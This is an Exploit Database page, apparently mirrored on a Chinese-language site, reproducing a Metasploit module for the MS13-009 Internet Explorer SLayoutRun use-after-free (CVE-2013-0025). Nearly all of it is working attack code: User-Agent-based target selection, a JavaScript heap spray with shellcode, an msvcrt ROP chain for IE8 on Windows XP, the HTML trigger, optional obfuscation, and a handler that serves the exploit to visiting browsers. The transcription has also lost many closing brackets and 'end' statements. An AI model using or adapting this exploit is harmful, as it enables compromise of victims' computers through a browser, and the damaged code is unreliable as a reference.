Microsoft Internet Explorer – SLayoutRun Use-After-Free (MS13-009) (Metasploit) (2)

Exploit Database
120 阅读

作者： Metasploit

日期： 2013-02-23
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/24538/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpServer::HTML

include Msf::Exploit::RopDb

def initialize(info={})

super(update_info(info,

'Name' => "MS13-009 Microsoft Internet Explorer SLayoutRun Use-After-Free",

'Description'=> %q{

This module exploits a use-after-free vulnerability in Microsoft Internet Explorer

where a CParaElement node is released but a reference is still kept

in CDoc. This memory is reused when a CDoc relayout is performed.

'License'=> MSF_LICENSE,

'Author' =>

[

'Scott Bell <scott.bell@security-assessment.com>' # Vulnerability discovery & Metasploit module

'References' =>

[

[ 'CVE', '2013-0025' ],

[ 'MSB', 'MS13-009' ],

[ 'URL', 'http://security-assessment.com/files/documents/advisory/ie_slayoutrun_uaf.pdf' ]

'Payload' =>

{

'BadChars' => "\x00",

'Space'=> 920,

'DisableNops'=> true,

'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500

'DefaultOptions'=>

{

'InitialAutoRunScript' => 'migrate -f'

'Platform' => 'win',

'Targets' =>

[

[ 'Automatic', {} ],

[ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => 0x5f4 } ]

'Privileged' => false,

'DisclosureDate'=> "Feb 13 2013",

'DefaultTarget' => 0))

register_options(

[

OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])

], self.class)

end

def get_target(agent)

#If the user is already specified by the user, we'll just use that

return target if target.name != 'Automatic'

nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''

ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

ie_name = "IE #{ie}"

case nt

when '5.1'

os_name = 'Windows XP SP3'

end

targets.each do |t|

if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))

print_status("Target selected as: #{t.name}")

return t

end

return nil

end

def heap_spray(my_target, p)

js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))

js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))

js = %Q|

var heap_obj = new heapLib.ie(0x20000);

var code = unescape("#{js_code}");

var nops = unescape("#{js_nops}");

while (nops.length < 0x80000) nops += nops;

var offset = nops.substring(0, #{my_target['Offset']});

var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

while (shellcode.length < 0x40000) shellcode += shellcode;

var block = shellcode.substring(0, (0x80000-6)/2);

heap_obj.gc();

for (var i=1; i < 0x300; i++) {

heap_obj.alloc(block);

}

var overflow = nops.substring(0, 10);

js = heaplib(js, {:noobfu => true})

if datastore['OBFUSCATE']

js = ::Rex::Exploitation::JSObfu.new(js)

js.obfuscate

end

return js

end

def get_payload(t, cli)

code = payload.encoded

# No rop. Just return the payload.

return code if t['Rop'].nil?

# ROP chain generated by mona.py - See corelan.be

case t['Rop']

when :msvcrt

print_status("Using msvcrt ROP")

rop_nops = [0x77c39f92].pack("V") * 11 # RETN

rop_payload = generate_rop_payload('msvcrt', "", {'target'=>'xp'})

rop_payload << rop_nops

rop_payload << [0x77c364d5].pack("V") # POP EBP # RETN

rop_payload << [0x77c15ed5].pack("V") # XCHG EAX, ESP # RETN

rop_payload << [0x77c35459].pack("V") # PUSH ESP # RETN

rop_payload << [0x77c39f92].pack("V") # RETN

rop_payload << [0x0c0c0c8c].pack("V") # Shellcode offset

rop_payload << code

end

return rop_payload

end

def get_exploit(my_target, cli)

p= get_payload(my_target, cli)

js = heap_spray(my_target, p)

html = %Q|

<!doctype html>

<html>

<head>

#{js}

</script>

var data;

var objArray = new Array(1150);

setTimeout(function(){

document.body.style.whiteSpace = "pre-line";

CollectGarbage();

for (var i=0;i<1150;i++){

objArray[i] = document.createElement('div');

objArray[i].className = data += unescape("%u0c0c%u0c0c");

}

setTimeout(function(){document.body.innerHTML = "boo"}, 100)

}, 100)

</script>

</head>

<body>

</body>

</html>

return html

end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']

uri = request.uri

print_status("Requesting: #{uri}")

my_target = get_target(agent)

# Avoid the attack if no suitable target found

if my_target.nil?

print_error("Browser not supported, sending 404: #{agent}")

send_not_found(cli)

return

end

html = get_exploit(my_target, cli)

html = html.gsub(/^\t\t/, '')

print_status "Sending HTML..."

send_response(cli, html, {'Content-Type'=>'text/html'})

end